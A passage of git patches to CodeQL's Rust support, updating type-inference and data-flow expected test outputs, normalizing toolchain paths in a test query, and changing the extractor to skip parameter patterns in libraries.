main.rs:1191:9:1191:23 | ...::Err(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1191:9:1191:23 | ...::Err(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1191:9:1191:23 | ...::Err(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1191:9:1191:23 | ...::Err(...) | T | main.rs:1185:20:1185:27 | T | | main.rs:1191:21:1191:22 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1195:37:1195:52 | try_same_error(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1195:37:1195:52 | try_same_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1195:37:1195:52 | try_same_error(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1195:37:1195:52 | try_same_error(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1196:22:1196:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1199:37:1199:55 | try_convert_error(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1199:37:1199:55 | try_convert_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1199:37:1199:55 | try_convert_error(...) | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1199:37:1199:55 | try_convert_error(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1200:22:1200:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1203:37:1203:49 | try_chained(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1203:37:1203:49 | try_chained(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1203:37:1203:49 | try_chained(...) | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1203:37:1203:49 | try_chained(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1204:22:1204:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1207:37:1207:63 | try_complex(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1207:37:1207:63 | try_complex(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1207:37:1207:63 | try_complex(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1207:37:1207:63 | try_complex(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1207:49:1207:62 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1207:49:1207:62 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1207:49:1207:62 | ...::Ok(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1207:49:1207:62 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1207:60:1207:61 | S1 | | main.rs:1157:5:1158:14 | S1 | diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index 02c1ef6f2b0d..94d8ee237962 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -11,7 +11,9 @@ class TypeLoc extends TypeFinal { ) { exists(string file | this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") + filepath = + file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") + .regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") ) } } From 67846f1d50a36d18a20c89978017af913b6613d0 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 20 May 2025 15:20:48 +0200 Subject: [PATCH 294/535] fixup TestUtils --- rust/ql/test/TestUtils.qll | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/rust/ql/test/TestUtils.qll b/rust/ql/test/TestUtils.qll index 586989321e16..f1e3c7294942 100644 --- a/rust/ql/test/TestUtils.qll +++ b/rust/ql/test/TestUtils.qll @@ -7,8 +7,7 @@ predicate toBeTested(Element e) { not e instanceof Locatable or e.(Locatable).fromSource() - ) and - not e.(AstNode).isFromMacroExpansion() + ) } class CrateElement extends Element { From 3761099de98288cb8e59c27e04d7ed22a5b99325 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 20 May 2025 15:38:11 +0200 Subject: [PATCH 295/535] Rust: drop Param::pat when extracting libraries --- rust/extractor/src/translate/base.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index b60e57cf6d3a..44a6610abb59 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -16,7 +16,7 @@ use ra_ap_ide_db::RootDatabase; use ra_ap_ide_db::line_index::{LineCol, LineIndex}; use ra_ap_parser::SyntaxKind; use ra_ap_span::TextSize; -use ra_ap_syntax::ast::{Const, Fn, HasName, Static}; +use ra_ap_syntax::ast::{Const, Fn, HasName, Param, Static}; use ra_ap_syntax::{ AstNode, NodeOrToken, SyntaxElementChildren, SyntaxError, SyntaxNode, SyntaxToken, TextRange, ast, @@ -654,8 +654,14 @@ impl<'a> Translator<'a> { return true; } } + if let Some(pat) = syntax.parent().and_then(Param::cast).and_then(|x| x.pat()) { + if pat.syntax() == syntax { + tracing::debug!("Skipping parameter"); + return true; + } + } } - return false; + false } pub(crate) fn extract_types_from_path_segment( From 5ee76589218887f09179267cff80030305377615 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 20 May 2025 16:22:27 +0200 Subject: [PATCH 296/535] Rust: update DataFlowStep.expected --- .../dataflow/local/DataFlowStep.expected | 2433 +++++++++++++++++ 1 file changed, 2433 insertions(+) diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 463915258e82..162efcfa2b70 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -867,9 +867,13 @@ localStep | main.rs:577:36:577:41 | ...::new(...) | main.rs:577:36:577:41 | MacroExpr | | main.rs:577:36:577:41 | [post] MacroExpr | main.rs:577:36:577:41 | [post] ...::new(...) | storeStep +| file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::asserting::Capture::elem] in lang:core::_::::try_capture | Capture.elem | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::::try_capture | +| file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::asserting::Capture::elem].Field[crate::option::Option::Some(0)] in lang:core::_::::try_capture | Some | file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::asserting::Capture::elem] in lang:core::_::::try_capture | +| file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::collections::vec_deque::VecDeque::len] in lang:alloc::_::::new | VecDeque.len | file://:0:0:0:0 | [post] [summary param] 0 in lang:alloc::_::::new | | file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::::zip_with | | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:alloc::_::::retain_mut | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:alloc::_::::retain_mut | | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:core::_::::take_if | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:core::_::::take_if | +| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:core::_::::map_unchecked | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:core::_::::map_unchecked | | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::default_tcp_http_server | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::default_tcp_http_server | | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1].Reference in lang:core::_::crate::num::flt2dec::to_exact_exp_str | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1] in lang:core::_::crate::num::flt2dec::to_exact_exp_str | @@ -957,6 +961,7 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in lang:core::_::::spec_try_fold | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in lang:core::_::::spec_try_fold | | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in lang:core::_::crate::slice::sort::stable::sort | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in lang:core::_::crate::slice::sort::stable::sort | | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::prefix_is_substring | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::prefix_is_substring | | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::suffix_is_substring | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::suffix_is_substring | @@ -965,6 +970,8 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | &ref | file://:0:0:0:0 | [post] [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | | file://:0:0:0:0 | [summary] to write: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_until | &ref | file://:0:0:0:0 | [post] [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_until | | file://:0:0:0:0 | [summary] to write: Argument[1].Reference.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | Err | file://:0:0:0:0 | [summary] to write: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | +| file://:0:0:0:0 | [summary] to write: Argument[2].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::div_rem | Big32x40.size | file://:0:0:0:0 | [post] [summary param] 2 in lang:core::_::::div_rem | +| file://:0:0:0:0 | [summary] to write: Argument[2].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::div_rem | Big8x3.size | file://:0:0:0:0 | [post] [summary param] 2 in lang:core::_::::div_rem | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by_key | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by_key | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::min_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::min_by | @@ -986,12 +993,89 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-http::_::::write_u64 | tuple.0 | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/actix/actix-web:actix-http::_::::write_u64 | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[0] in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | tuple.0 | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[0].Reference in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[0] in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::block::BlockRng64::index] in repo:https://github.com/rust-random/rand:rand_core::_::::generate_and_set | BlockRng64.index | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/rust-random/rand:rand_core::_::::generate_and_set | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::block::BlockRng::index] in repo:https://github.com/rust-random/rand:rand_core::_::::generate_and_set | BlockRng.index | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/rust-random/rand:rand_core::_::::generate_and_set | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::char::decode::DecodeUtf16::buf] in lang:core::_::::next | DecodeUtf16.buf | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::char::decode::DecodeUtf16::buf].Field[crate::option::Option::Some(0)] in lang:core::_::::next | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::char::decode::DecodeUtf16::buf] in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::btree::set::BTreeSet::map] in lang:alloc::_::::clone_from | BTreeSet | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::clone_from | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::btree::set::BTreeSet::map].Reference in lang:alloc::_::::clone_from | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::btree::set::BTreeSet::map] in lang:alloc::_::::clone_from | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::move_next | Cursor.current | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::move_next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::move_prev | Cursor.current | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::move_prev | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::move_next | CursorMut.current | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::move_next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::move_prev | CursorMut.current | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::move_prev | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::linked_list::CursorMut::index] in lang:alloc::_::::insert_after | CursorMut.index | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::insert_after | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::linked_list::CursorMut::index] in lang:alloc::_::::splice_after | CursorMut.index | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::splice_after | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::linked_list::LinkedList::tail] in lang:alloc::_::::append | LinkedList.tail | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::append | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::vec_deque::VecDeque::len] in lang:alloc::_::::split_off | VecDeque.len | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::split_off | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::collections::vec_deque::VecDeque::len] in lang:alloc::_::::truncate | VecDeque.len | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::truncate | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::diagnostic::Diagnostic::level] in lang:proc_macro::_::::set_level | Diagnostic.level | file://:0:0:0:0 | [post] [summary param] self in lang:proc_macro::_::::set_level | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::error::Report::pretty] in lang:std::_::::pretty | Report.pretty | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::pretty | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::error::Report::show_backtrace] in lang:std::_::::show_backtrace | Report.show_backtrace | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::show_backtrace | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::fmt::FormattingOptions::align] in lang:core::_::::align | FormattingOptions.align | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::align | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::fmt::FormattingOptions::fill] in lang:core::_::::fill | FormattingOptions.fill | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::fill | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::fmt::FormattingOptions::flags] in lang:core::_::::flags | FormattingOptions.flags | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::flags | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::fmt::FormattingOptions::precision] in lang:core::_::::precision | FormattingOptions.precision | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::precision | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::fmt::FormattingOptions::width] in lang:core::_::::width | FormattingOptions.width | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::width | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::fs::DirBuilder::recursive] in lang:std::_::::recursive | DirBuilder.recursive | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::recursive | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::io::Take::limit] in lang:std::_::::set_limit | Take.limit | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::set_limit | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::io::borrowed_buf::BorrowedBuf::init] in lang:core::_::::set_init | BorrowedBuf.init | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::set_init | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::io::buffered::bufreader::buffer::Buffer::pos] in lang:std::_::::consume | Buffer.pos | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::consume | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::io::cursor::Cursor::inner] in lang:std::_::::clone_from | Cursor.inner | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::clone_from | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::io::cursor::Cursor::inner].Reference in lang:std::_::::clone_from | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::io::cursor::Cursor::inner] in lang:std::_::::clone_from | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::io::cursor::Cursor::pos] in lang:std::_::::clone_from | Cursor.pos | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::clone_from | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::io::cursor::Cursor::pos] in lang:std::_::::seek | Cursor.pos | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::seek | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::io::cursor::Cursor::pos] in lang:std::_::::set_position | Cursor.pos | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::set_position | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter] in lang:core::_::::advance_by | Cycle.iter | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::advance_by | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter] in lang:core::_::::try_fold | Cycle.iter | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::try_fold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter].Reference in lang:core::_::::advance_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter] in lang:core::_::::advance_by | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter].Reference in lang:core::_::::try_fold | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::cycle::Cycle::iter] in lang:core::_::::try_fold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter] in lang:core::_::::spec_fold | StepBy.iter | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::spec_fold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter] in lang:core::_::::spec_try_fold | StepBy.iter | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::spec_try_fold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element in lang:core::_::::spec_fold | element | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter] in lang:core::_::::spec_fold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element in lang:core::_::::spec_try_fold | element | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter] in lang:core::_::::spec_try_fold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Field[crate::ops::range::Range::start] in lang:core::_::::spec_fold | Range.start | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter] in lang:core::_::::spec_fold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::net::socket_addr::SocketAddrV4::ip] in lang:core::_::::set_ip | SocketAddrV4.ip | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::set_ip | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::net::socket_addr::SocketAddrV4::port] in lang:core::_::::set_port | SocketAddrV4.port | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::set_port | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::net::socket_addr::SocketAddrV6::flowinfo] in lang:core::_::::set_flowinfo | SocketAddrV6.flowinfo | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::set_flowinfo | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::net::socket_addr::SocketAddrV6::ip] in lang:core::_::::set_ip | SocketAddrV6.ip | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::set_ip | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::net::socket_addr::SocketAddrV6::port] in lang:core::_::::set_port | SocketAddrV6.port | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::set_port | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::net::socket_addr::SocketAddrV6::scope_id] in lang:core::_::::set_scope_id | SocketAddrV6.scope_id | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::set_scope_id | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::add | Big32x40.size | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::add | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::sub | Big32x40.size | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::sub | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::add | Big8x3.size | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::add | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::sub | Big8x3.size | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::sub | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::num::dec2flt::decimal::Decimal::digits] in lang:core::_::::try_add_digit | Decimal.digits | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::try_add_digit | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::num::dec2flt::decimal::Decimal::digits].Element in lang:core::_::::try_add_digit | element | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::num::dec2flt::decimal::Decimal::digits] in lang:core::_::::try_add_digit | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::map_break | Break | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_break | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::control_flow::ControlFlow::Continue(0)] in lang:core::_::::map_continue | Continue | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_continue | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::index_range::IndexRange::end] in lang:core::_::::take_suffix | IndexRange.end | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::take_suffix | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::index_range::IndexRange::start] in lang:core::_::::take_prefix | IndexRange.start | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::take_prefix | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::map | Excluded | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::map | Included | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::Range::end] in lang:core::_::::spec_nth_back | Range.end | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::spec_nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::Range::start] in lang:core::_::::spec_nth | Range.start | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::spec_nth | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::Range::start].Reference in lang:core::_::::spec_nth | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::Range::start] in lang:core::_::::spec_nth | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::spec_try_rfold | RangeInclusive.end | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::spec_try_rfold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::nth_back | RangeInclusive.end | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::spec_try_fold | RangeInclusive.start | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::spec_try_fold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::spec_try_rfold | RangeInclusive.start | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::spec_try_rfold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::nth | RangeInclusive.start | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference in lang:core::_::::spec_try_fold | &ref | file://:0:0:0:0 | [summary] to write: 